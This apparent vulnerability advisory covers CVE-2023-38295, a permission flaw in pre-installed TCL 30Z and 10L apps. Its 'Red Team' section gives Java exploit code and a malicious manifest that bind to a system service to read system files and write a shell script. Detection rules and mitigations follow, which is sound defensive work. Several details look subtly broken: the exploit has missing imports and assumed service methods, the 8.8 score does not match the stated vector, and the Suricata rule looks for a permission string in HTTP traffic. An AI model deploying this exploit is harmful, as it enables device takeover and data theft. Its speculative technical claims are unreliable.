CVE-2023-38295

Executive Summary

CVE-2023-38295 exposes a critical privilege escalation vulnerability in pre-installed applications on TCL 30Z and TCL 10L Android devices. The vulnerability stems from a missing permission (com.tct.smart.switchphone.permission.SWITCH_DATA) that is declared as a normal permission but provides no runtime protection. A malicious third-party app can declare and request this permission, then interact with system-privileged service components (specifically com.tct.smart.switchdata.DataService) to perform arbitrary file reads and writes. This allows an attacker to exfiltrate sensitive data, modify system files, or install persistent malware without any user interaction beyond installing the malicious app.

The affected devices include TCL 30Z (multiple build fingerprints) and TCL 10L. The vulnerable pre-installed apps are com.tcl.screenrecorder (TCL 30Z) and com.tcl.sos (TCL 10L). No patch is currently available from TCL, leaving users exposed.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a pre-installed Android application vulnerability affecting the device supply chain. The malicious app must be installed by the user, but no additional permissions or user interaction are required beyond installation.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics, a more accurate assessment would be:

• Attack Vector (AV): Local (AV:L) – requires installation of a malicious app.
• Attack Complexity (AC): Low (AC:L) – no special conditions.
• Privileges Required (PR): None (PR:N) – the malicious app runs at user level.
• User Interaction (UI): None (UI:N) – no user action beyond installation.
• Scope (S): Changed (S:C) – the vulnerable component runs with system privileges.
• Confidentiality (C): High (C:H) – arbitrary file read.
• Integrity (I): High (I:H) – arbitrary file write.
• Availability (A): High (A:H) – could overwrite critical system files.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Estimated Score: 8.8 (High)

Deep Dive & Mechanics

The vulnerability resides in the Android permission model. The permission com.tct.smart.switchphone.permission.SWITCH_DATA is declared as a "normal" permission in the vulnerable pre-installed apps. Normal permissions are automatically granted at install time without user consent. However, the service component com.tct.smart.switchdata.DataService that uses this permission does not enforce any runtime checks. As a result, any app that declares and requests this permission can bind to the service and invoke its methods.

The service runs with system UID (privileged context), meaning it can read and write any file on the device. The malicious app can call methods exposed by the service to perform arbitrary file operations, such as:

• Reading /data/data/com.android.providers.settings/databases/settings.db to extract device identifiers.
• Writing a malicious script to /data/local/tmp/ and executing it via a separate privilege escalation.
• Overwriting system configuration files to disable security features.

The attack flow:

1. User installs a malicious app that declares the missing permission in its AndroidManifest.xml.
2. The app requests the permission at runtime (Android 6+ requires runtime requests, but normal permissions are auto-granted).
3. The app binds to com.tct.smart.switchdata.DataService using an Intent with the action defined in the vulnerable app.
4. The service executes file operations on behalf of the malicious app with system privileges.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code is in the pre-installed apps:

Vulnerable (TCL 30Z):

• Package: com.tcl.screenrecorder
• Version: v5.2120.02.12008.1.T (versionCode 1221092802) or v5.2120.02.12008.2.T (versionCode 1221092805)

Vulnerable (TCL 10L):

• Package: com.tcl.sos
• Version: v3.2014.12.1012.B (versionCode 2020102827)

The missing permission declaration in the vulnerable app's AndroidManifest.xml would look like:

<permission android:name="com.tct.smart.switchphone.permission.SWITCH_DATA"
    android:protectionLevel="normal" />

A patched version would change the protection level to signature or privileged and add runtime permission checks in the service component.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A TCL 30Z or TCL 10L device with the vulnerable build.
• Ability to install a third-party APK (USB debugging or sideloading).

Exploit Code (Conceptual):

// MaliciousApp.java
import android.app.Service;
import android.content.ComponentName;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.IBinder;
import android.os.RemoteException;

public class MaliciousApp extends Activity {
    private IDataService dataService;
    private ServiceConnection connection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            dataService = IDataService.Stub.asInterface(service);
            try {
                // Read arbitrary file
                String content = dataService.readFile("/data/system/packages.xml");
                // Write arbitrary file
                dataService.writeFile("/data/local/tmp/exploit.sh", "#!/system/bin/sh\n...");
            } catch (RemoteException e) { }
        }

        @Override
        public void onServiceDisconnected(ComponentName name) { }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Intent intent = new Intent("com.tct.smart.switchphone.action.DATA_SERVICE");
        intent.setPackage("com.tcl.screenrecorder"); // or com.tcl.sos
        bindService(intent, connection, Context.BIND_AUTO_CREATE);
    }
}

AndroidManifest.xml (malicious app):

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.malicious">
    <uses-permission android:name="com.tct.smart.switchphone.permission.SWITCH_DATA" />
    <application>
        <activity android:name=".MaliciousApp">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

Steps:

1. Compile the malicious APK with the above code.
2. Install the APK on the vulnerable device.
3. Launch the app; it will automatically bind to the vulnerable service and perform file operations.

Blue Team (Detection & Forensics)

Detection on Device:

• Monitor for apps requesting the permission com.tct.smart.switchphone.permission.SWITCH_DATA.
• Use dumpsys package permissions to list apps with this permission.
• Check for unexpected bindings to com.tct.smart.switchdata.DataService using dumpsys activity services.

Forensic Artifacts:

• Check /data/system/packages.xml for installed apps with the suspicious permission.
• Look for unusual files in /data/local/tmp/ or /data/data/ of system apps.
• Review logcat for errors related to DataService or file access attempts.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2023_38295_TCL_MissingPermission {
    meta:
        description = "Detects APKs requesting the vulnerable permission com.tct.smart.switchphone.permission.SWITCH_DATA"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-38295"
    strings:
        $permission = "com.tct.smart.switchphone.permission.SWITCH_DATA"
        $service = "com.tct.smart.switchdata.DataService"
    condition:
        $permission or $service
}

Sigma Rule

title: TCL CVE-2023-38295 Permission Abuse
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects installation of apps requesting the vulnerable permission on TCL devices
author: Valters IT
date: 2025-04-10
logsource:
    product: android
    service: package_manager
detection:
    selection:
        PermissionName: 'com.tct.smart.switchphone.permission.SWITCH_DATA'
    condition: selection
falsepositives:
    - Legitimate TCL system apps (should not be installed by users)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2023-38295 TCL Data Exfiltration via Missing Permission"; flow:to_server,established; content:"com.tct.smart.switchphone.permission.SWITCH_DATA"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. No patch available – TCL has not released a fix. Users should consider replacing affected devices or using a custom ROM.
2. Disable vulnerable apps – Use adb shell pm disable com.tcl.screenrecorder (TCL 30Z) or adb shell pm disable com.tcl.sos (TCL 10L) to prevent the service from running.
3. Install a firewall – Use a firewall app to block outbound connections from unknown apps.
4. Avoid sideloading apps – Only install apps from the Google Play Store.

Long-term:

• TCL must release a firmware update that changes the permission protection level to signature and adds runtime checks.
• Users should monitor for official security updates from TCL.

Workaround:

• Use Android's "Permission Controller" to revoke the permission from any app that requests it (though normal permissions cannot be revoked via UI).

Valters IT